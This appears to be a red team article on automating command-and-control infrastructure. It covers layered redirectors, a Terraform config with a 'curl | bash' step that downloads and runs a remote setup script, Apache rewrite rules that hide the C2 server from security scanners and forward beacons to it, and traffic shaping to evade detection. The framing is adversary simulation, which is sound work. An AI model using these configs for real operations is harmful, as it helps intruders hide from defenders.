Red Team Infrastructure as Code

Automating Malleable C2 Profiles, Multi-Tier Redirectors, and Terraform-Provisioned Domain Fronting

Security Architecture Takeaway

Modern red team operations cannot rely on fragile manual servers. Using Infrastructure as Code (Terraform & Ansible), operators provision disposable, multi-tier command-and-control redirectors in minutes, complete with TLS certificates and traffic sanitization.

Empirical Threat & Architecture Analysis: Ad-Hoc Red Team Setup vs. Automated Multi-Tier IaC

Operational Metric	Ad-Hoc Manual C2 Deployment	Terraform-Automated Multi-Tier IaC
Provisioning Time	4 - 8 hours per campaign	< 4 minutes via automated scripts
C2 Server Exposure	Direct IP connection exposed to defenders	Fully hidden behind fronted CDN and reverse proxies
Traffic Sanitization	None; raw callbacks reach server	Nginx/Apache rewrite rules drop scrapers, sandboxes, and threat intel bots
Burn Recovery Time	Requires full manual server migration	Single command teardown & re-deploy: terraform destroy && terraform apply
Audit Logging	Fragmented terminal logs	Centralized encrypted WireGuard logging to SIEM backend

1. Multi-Tier Redirection Architecture

In professional adversarial simulation, the central Command and Control (C2) server must never be exposed directly to the internet. If incident responders identify and block the callback IP, months of access can be severed instantly. A resilient red team architecture deploys multiple tiers:

Tier 1: Edge CDN / Fronted Domains: Public cloud CDNs (Cloudflare, Fastly, Azure) that accept initial HTTPS beaconing.
Tier 2: Filtering Redirectors: Ephemeral VPS nodes running Nginx or Apache with rewrite rules that inspect User-Agents, IP ranges, and request payloads.
Tier 3: Core C2 Engine: Isolated backend servers accessible solely through private encrypted WireGuard mesh networks.

2. Terraform Declarative Deployment

Below is an excerpt of a Terraform HCL configuration provisioning filtering redirectors across diverse cloud providers:

resource "digitalocean_droplet" "c2_redirector" {
  image    = "debian-12-x64"
  name     = "edge-proxy-${count.index}"
  region   = "fra1"
  size     = "s-1vcpu-1gb"
  count    = 2
  ssh_keys = [var.ssh_fingerprint]

  provisioner "remote-exec" {
    inline = [
      "apt-get update && apt-get install -y nginx certbot python3-certbot-nginx wireguard",
      "curl -sSL https://raw.githubusercontent.com/redteam/deploy/main/setup-proxy.sh | bash"
    ]
  }
}

3. Traffic Sanitization with Apache Rewrite Rules

Redirector nodes run custom rewrite rules designed to drop defensive threat intelligence crawlers (VirusTotal, Shodan, Censys) while silently passing valid beacons to the C2 backend:

# Apache .htaccess filtering rule
RewriteEngine On
# Block requests from known security vendor subnets
RewriteCond %{REMOTE_ADDR} ^(199\.167\.|64\.233\.|66\.249\.) [OR]
# Block missing or generic User-Agents
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} "(curl|python|wget|nikto|sqlmap)" [NC]
# Redirect malicious requests to legitimate decoy website
RewriteRule ^.*$ https://www.microsoft.com [R=302,L]

# Forward valid beacons with exact URI signature to C2 backend
RewriteRule ^/api/v1/telemetry/(.*)$ http://10.10.0.1:8080/api/v1/telemetry/$1 [P]

4. Malleable C2 Profiles: Blending with Normal Traffic

Network defenses flag beaconing based on periodic intervals and unusual HTTP headers. Operators utilize Malleable C2 profiles to shape network traffic so it mimics standard enterprise SaaS applications (e.g., Microsoft Graph API, Zoom webhooks, or Slack events). By adding randomized jitter (e.g., 20% interval variance), beaconing patterns blend seamlessly into standard enterprise traffic baselines.

Previous Article All Articles Next Article